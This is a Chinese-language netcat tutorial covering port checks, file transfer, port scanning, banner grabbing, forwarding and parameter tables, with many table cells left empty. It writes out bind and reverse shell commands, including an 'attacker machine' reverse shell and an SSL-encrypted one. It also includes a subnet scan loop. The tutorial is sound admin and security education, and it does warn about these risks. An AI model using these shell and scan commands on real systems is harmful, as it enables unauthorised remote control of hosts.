telnet 太弱、nmap 太重?netcat 是 Linux 网络调试的瑞士军刀,只有几十 KB,却能完成端口扫描、文件传输、后门监听、代理转发等高级操作。本文从基础到进阶,手把手教你用好 nc。一、netcat 是什么
| |
|---|
| |
| |
| |
| |
| OpenBSD nc(推荐)、GNU nc、Ncat(Nmap 套件) |
安装:
# CentOS/RHEL/Rockysudo yum install nc# Ubuntu/Debiansudo apt install netcat-openbsd # 推荐 OpenBSD 版本sudo apt install netcat-traditional # 传统版本# 验证版本nc -h# OpenBSD netcat (Debian patchlevel 1.206-1ubuntu1)
二、基础用法:端口探测
1. 测试 TCP 端口连通性
# 基础用法:连接远程端口nc -vz 192.168.1.100 22# Connection to 192.168.1.100 22 port [tcp/ssh] succeeded!# 多个端口nc -vz 192.168.1.100 80 443 3306# 端口范围扫描nc -vz 192.168.1.100 1-1000
参数说明:
2. 与 telnet 对比
| | |
|---|
telnet host port | | |
nc -vz host port | | |
# telnet 卡住时按 Ctrl+] 退出# nc 自动超时退出nc -vz -w 3 192.168.1.100 80 # 3秒超时
三、文件传输:不用 scp 也能传
3. 传输单个文件
# 接收端(先启动,监听端口)nc -l 1234 > received_file.tar.gz# 发送端nc 192.168.1.100 1234 < file.tar.gz# 传输完成自动断开
4. 传输目录(配合 tar)
# 接收端nc -l 1234 | tar xzvf -# 发送端tar czvf - /data/app | nc 192.168.1.100 1234# 原理:tar 打包 → 管道 → nc 传输 → 接收端 tar 解压
5. 带进度显示
# 发送端用 pv 显示进度pv file.tar.gz | nc 192.168.1.100 1234# 接收端nc -l 1234 > file.tar.gz
四、远程 shell:快速后门调试
6. 正向 shell(服务端监听)
# 服务端(被控制端)启动监听nc -lvp 4444 -e /bin/bash# 客户端连接,获得 shellnc 192.168.1.100 4444# 现在可以执行命令了
7. 反向 shell(客户端连接服务端)
# 攻击机(监听等待连接)nc -lvp 4444# 目标机(主动连接攻击机)nc 192.168.1.200 4444 -e /bin/bash# 攻击机获得目标机的 shell
正向 vs 反向:
8. 加密传输(配合 openssl)
# 生成证书openssl req -x509 -nodes -days 365 -newkey rsa:2048 \ -keyout nc.key -out nc.crt# 加密监听ncat --ssl --ssl-key nc.key --ssl-cert nc.crt -lvp 4444 -e /bin/bash# 加密连接ncat --ssl 192.168.1.100 4444
五、端口扫描:轻量替代 nmap
9. TCP SYN 扫描
# 扫描单个主机的常用端口nc -vz -w 2 192.168.1.100 20-80# 扫描多台主机的 22 端口for ip in 192.168.1.{1..254}; do nc -vz -w 1 $ip 22 2>&1 | grep succeededdone
10. UDP 端口扫描
# UDP 扫描(需要 -u 参数)nc -vzu 192.168.1.100 53# Connection to 192.168.1.100 53 port [udp/domain] succeeded!# UDP 端口范围nc -vzu -w 2 192.168.1.100 1-1000
11. 获取服务 banner
# 连接后发送空行,获取服务版本信息echo "" | nc -v 192.168.1.100 80# 或发送 HTTP 请求printf "HEAD / HTTP/1.0\r\n\r\n" | nc 192.168.1.100 80
六、代理与转发
12. 简单端口转发
# 将本地 8080 转发到远程 80nc -lvp 8080 -c "nc 192.168.1.100 80"# 访问本地 8080 = 访问远程 80curl http://localhost:8080
13. HTTP 代理
# 简易 HTTP 代理(需配合脚本)mkfifo backpipenc -lvp 8080 0<backpipe | tee -a request.log | nc www.example.com 80 1>backpipe
七、高级用法
14. 创建 Web 服务器(临时)
# 最简单的 HTTP 服务器{ echo -ne "HTTP/1.0 200 OK\r\nContent-Length: $(wc -c < index.html)\r\n\r\n"; cat index.html; } | nc -l 8080# 循环服务(处理多个请求)while true; do { echo -ne "HTTP/1.0 200 OK\r\n\r\n"; cat index.html; } | nc -l 8080done
15. 配合 tar + nc 备份远程服务器
# 远程服务器执行(发送端)tar czf - /data/important | nc -l 1234# 本地执行(接收端)nc remote-server 1234 | tar xzf - -C /backup/# 或反向:本地监听,远程主动发送# 本地nc -l 1234 | tar xzf - -C /backup/# 远程tar czf - /data/important | nc local-server 1234
八、nc vs ncat vs nc.traditional 对比
| | | |
|---|
| OpenBSD nc | | | |
| GNU nc | | | |
| nc.traditional | | | |
| ncat | | | |
选择建议:
九、生产环境安全注意
| | |
|---|
| 反弹 shell | | |
| 明文传输 | | |
| 端口暴露 | | |
| 数据泄露 | | 配合 tar + gzip + openssl 加密 |
安全替代方案:
# 文件传输:用 scp/rsync 替代scp file.tar.gz user@remote:/backup/# 远程 shell:用 SSH 替代ssh user@remote# 端口扫描:用 nmap 替代(功能更强)nmap -sS -O 192.168.1.100
十、总结速查表
| |
|---|
| nc -vz host port |
| nc -vzu host port |
| 接收:nc -l port > file 发送:nc host port < file |
| tar czf - dir | nc host port |
| nc -lvp port -e /bin/bash |
| nc host port -e /bin/bash |
| nc -vz -w 2 host 1-1000 |
| { echo HTTP头; cat file; } | nc -l port |
| nc -vz -w 3 host port |
连接模式参数
| | | |
|---|
-h | | | nc -h |
-v | | | nc -v 192.168.1.100 80 |
-vv | | | nc -vv 192.168.1.100 80 |
-n | | | nc -vn 192.168.1.100 80 |
-w SECS | | | nc -vw 3 192.168.1.100 80 |
-s ADDR | | | nc -s 10.0.0.5 192.168.1.100 80 |
-p PORT | | | nc -p 1234 192.168.1.100 80 |
-u | | | nc -vu 192.168.1.100 53 |
-4 | | | nc -4 192.168.1.100 80 |
-6 | | | nc -6 fe80::1 80 |
-k | | | nc -k 192.168.1.100 80 |
-X PROTO | | | nc -X connect -x proxy:8080 target 80 |
-x ADDR:PORT | | | nc -x 10.0.0.1:8080 target.com 80 |
-z | | | nc -vz 192.168.1.100 1-1000 |
监听模式参数
| | | |
|---|
-l | | | nc -l 1234 |
-lp PORT | | | nc -lp 1234 |
-lvp PORT | | | nc -lvp 1234 |
-e CMD | | | nc -lvp 4444 -e /bin/bash |
-c CMD | | | nc -lvp 4444 -c '/bin/bash' |
-o FILE | | | nc -lvp 1234 -o dump.hex |
-i SECS | | | nc -lvp 1234 -i 1 |
OpenBSD nc 特有参数
| | | |
|---|
-N | | | echo "data" | nc -N 192.168.1.100 80 |
-q SECS | | | echo "GET /" | nc -q 1 192.168.1.100 80 |
-U | | | nc -U /var/run/docker.sock |
-F | | | |
-B | | | nc -B -u 255.255.255.255 9 |
-I LENGTH | | | nc -I 65535 192.168.1.100 80 |
-O LENGTH | | | nc -O 65535 192.168.1.100 80 |
-T keyword | | | nc -T minimize-delay 192.168.1.100 80 |
-R CAfile | | | nc -R ca.crt 192.168.1.100 443 |
-r | | | nc -r 192.168.1.100 1000-2000 |
-S | | | nc -S 192.168.1.100 443 |
-t | | | nc -lt 1234 |
-D | | | nc -D 192.168.1.100 80 |
GNU nc 特有参数
| | | |
|---|
-g GATEWAY | | | nc -g 10.0.0.1 192.168.1.100 80 |
-G NUM | | | nc -G 4 192.168.1.100 80 |
-d | | | nc -d 192.168.1.100 80 |
-L | | 持续监听(传统 nc,类似 OpenBSD 的 -k) | nc -L 1234 |
-O FILE | | | nc -O output.hex 192.168.1.100 80 |
--send-only | | | nc --send-only 192.168.1.100 80 < file |
--recv-only | | | nc --recv-only -l 1234 > file |
--no-shutdown | | | nc --no-shutdown 192.168.1.100 80 |
--broker | | | nc --broker -l 1234 |
--chat | | | nc --chat -l 1234 |
ncat(Nmap 套件)特有参数
| | | |
|---|
--ssl | | | ncat --ssl 192.168.1.100 443 |
--ssl-cert | | | ncat --ssl --ssl-cert cert.pem -l 443 |
--ssl-key | | | ncat --ssl --ssl-key key.pem -l 443 |
--ssl-verify | | | ncat --ssl-verify 192.168.1.100 443 |
--ssl-trustfile | | | ncat --ssl --ssl-trustfile ca.crt 192.168.1.100 443 |
--proxy TYPE:HOST:PORT | | | ncat --proxy http:10.0.0.1:8080 target.com 80 |
--proxy-auth USER:PASS | | | ncat --proxy-auth admin:123456 --proxy ... |
--sh-exec CMD | | | ncat --sh-exec "echo Hello" -l 1234 |
--exec CMD | | | ncat --exec /bin/bash -l 4444 |
--max-conns NUM | | | ncat --max-conns 10 -l 1234 |
--keep-open | | | ncat --keep-open -l 1234 |
--broker | | | ncat --broker -l 1234 |
--chat | | | ncat --chat -l 1234 |
--allow HOST | | | ncat --allow 192.168.1.100 -l 1234 |
--deny HOST | | | ncat --deny 10.0.0.0/8 -l 1234 |
--append-output | | | ncat -l 1234 --append-output log.txt |
参数组合速查
| |
|---|
| TCP 端口扫描 | nc -vz -w 2 192.168.1.100 1-1000 |
| UDP 端口扫描 | nc -vzu -w 2 192.168.1.100 53 |
| 传输文件(接收) | nc -lvp 1234 > received_file.tar.gz |
| 传输文件(发送) | nc -v 192.168.1.100 1234 < file.tar.gz |
| 正向 shell | nc -lvp 4444 -e /bin/bash |
| 反向 shell | nc 192.168.1.200 4444 -e /bin/bash |
| 加密反向 shell | ncat --ssl 192.168.1.200 4444 -e /bin/bash |
| HTTP 请求 | printf "GET / HTTP/1.1\r\nHost: example.com\r\n\r\n" | nc example.com 80 |
| 临时 HTTP 服务器 | { echo -ne "HTTP/1.0 200 OK\r\n\r\n"; cat index.html; } | nc -l 8080 |
| Unix 域套接字 | nc -U /var/run/docker.sock |
| 通过代理连接 | nc -X connect -x proxy:8080 target.com 80 |
| 带超时的批量扫描 | nc -vzw 1 192.168.1.100 20-80 2>&1 | grep succeeded |
| 持续监听多个连接 | ncat --keep-open -l 1234 |
| 聊天服务器 | ncat --chat -l 1234 |
版本差异速查
| | | |
|---|
-e | | | |
-c | | | |
-k | | | |
-z | | | |
-u | | | |
| | | |
| -X-x | -X-x | --proxy |
| | | |
| | | |
| | | |
一句话总结
nc 是网络调试的螺丝刀:没有电钻(nmap)专业,没有锤子(scp)有力,但拧螺丝、撬瓶盖、量尺寸都能干,而且只有 50KB。